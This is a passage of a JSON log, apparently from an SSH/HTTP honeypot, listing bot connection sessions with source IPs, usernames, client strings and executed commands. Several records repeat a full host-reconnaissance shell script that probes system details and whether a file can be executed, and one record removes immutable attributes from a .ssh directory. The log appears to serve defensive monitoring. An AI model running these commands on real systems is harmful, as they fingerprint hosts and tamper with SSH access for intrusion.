\"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:18:49.835661+00:00",
  "ended_at": "2026-08-27T04:18:50.039049+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d207bb49-94c5-406c-a2ea-1fe6e42bf6fd",
  "name": "idle-snowy-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 54904,
  "username": "ray",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:17:19.072824+00:00",
  "ended_at": "2026-08-27T04:17:19.676348+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2035
 },
 {
  "id": "c58492ff-7774-49c1-b104-5ed9040aa208",
  "name": "jagged-sunlit-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54922,
  "username": "ray",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:17:10.546831+00:00",
  "ended_at": "2026-08-27T04:17:11.994055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dcabfef4-6210-4727-b3ae-ee7942778f8e",
  "name": "spirited-gentle-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54910,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:17:08.719941+00:00",
  "ended_at": "2026-08-27T04:17:09.921726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af31a1f6-d84c-49e4-8900-ba2ed680af25",
  "name": "plush-austere-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 35598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:16:38.343176+00:00",
  "ended_at": "2026-08-27T04:16:38.514564+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "489a6830-526e-457f-bba2-26a15a5d6677",
  "name": "dutiful-drifting-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 61265,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:14:33.124215+00:00",
  "ended_at": "2026-08-27T04:14:52.795298+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3fb7600-21d2-4a09-a795-c2c410a4940a",
  "name": "jagged-coastal-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 60812,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:14:27.463609+00:00",
  "ended_at": "2026-08-27T04:14:27.924199+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "63a39161-a5e9-4a49-890a-ad671b472e74",
  "name": "curious-quaint-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 57752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:12:16.458520+00:00",
  "ended_at": "2026-08-27T04:12:17.148298+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2451084f-aa6a-4383-8e91-11c3cd35ff85",
  "name": "seaward-jovial-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 47920,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:10:06.993015+00:00",
  "ended_at": "2026-08-27T04:10:08.233679+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acd8ce96-b7fc-4477-aaec-c5ea6098daa2",
  "name": "wry-orderly-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 54662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:10:00.554198+00:00",
  "ended_at": "2026-08-27T04:10:01.177315+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "12cee581-1293-47aa-9c3f-e6f0bffac8e9",
  "name": "pleasant-noble-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 46952,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:09:28.231240+00:00",
  "ended_at": "2026-08-27T04:09:30.054563+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2bde912-4d3a-4c42-b364-c1d439dc0129",
  "name": "dusty-lonesome-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 54615,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:08:58.875213+00:00",
  "ended_at": "2026-08-27T04:09:00.554319+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96ff06b5-928b-4b91-b499-d266aea5a5f8",
  "name": "smoky-sandy-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59567,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:07:29.964918+00:00",
  "ended_at": "2026-08-27T04:07:45.200478+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "62495ca5-0289-4179-abc8-1d82cbed70e6",
  "name": "hazel-crystal-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 39142,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:03:06.920753+00:00",
  "ended_at": "2026-08-27T04:03:07.449219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e315edee-bc96-40df-9314-d274dc6ed22b",
  "name": "gritty-emerald-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.70.126.245",
  "src_port": 50283,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.5",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 999,
  "probe_flagged": 0,
  "exec_command": "uname -a",
  "started_at": "2026-08-27T03:58:25.659779+00:00",
  "ended_at": "2026-08-27T03:58:27.147438+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 339
 },
 {
  "id": "d933e785-bd96-4468-ac1a-310d3cd89af3",
  "name": "early-mindful-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.70.126.245",
  "src_port": 50183,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.5",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:57:42.458817+00:00",
  "ended_at": "2026-08-27T03:57:42.783391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4daac0b9-d6f9-47a9-9fab-20b29ed3edae",
  "name": "craggy-smoky-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.70.126.245",
  "src_port": 50072,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.5",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:57:40.755665+00:00",
  "ended_at": "2026-08-27T03:57:41.234033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb92c481-eada-4f28-b7eb-7af5df8f8756",
  "name": "feral-balmy-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 57624,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:57:25.602630+00:00",
  "ended_at": "2026-08-27T03:57:26.542475+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "570ed0ef-2395-48be-8dec-fac6549aa5b6",
  "name": "earnest-humble-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 65477,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:56:38.040664+00:00",
  "ended_at": "2026-08-27T03:56:47.807656+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "070a003d-b8b4-4a0a-a2bc-e6c41f288769",
  "name": "golden-verdant-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52913,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:53:37.128966+00:00",
  "ended_at": "2026-08-27T03:53:48.539814+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50250d27-5c76-4c1f-b275-788dbdc347ce",
  "name": "marbled-smoky-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "23.163.40.5",
  "src_port": 55647,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 114,
  "probe_flagged": 0,
  "exec_command": "echo 'VERIFY_1787802645568100100_1347'",
  "started_at": "2026-08-27T03:50:45.712821+00:00",
  "ended_at": "2026-08-27T03:50:48.314324+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 110
 },
 {
  "id": "5e391ae8-f1a7-4920-8ec4-fb0bb0024900",
  "name": "blithe-boreal-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 53081,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:47:15.036144+00:00",
  "ended_at": "2026-08-27T03:47:16.972353+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd35f283-8bf3-4698-a089-58fdcc75671e",
  "name": "seaward-lanky-yak",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:42:33.265051+00:00",
  "ended_at": "2026-08-27T03:58:07.098027+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d59fbec-b172-4a42-83d3-7a0934e6682d",
  "name": "hazy-diligent-skylark",
  "protocol": "ssh",
  "channel_kind": null,
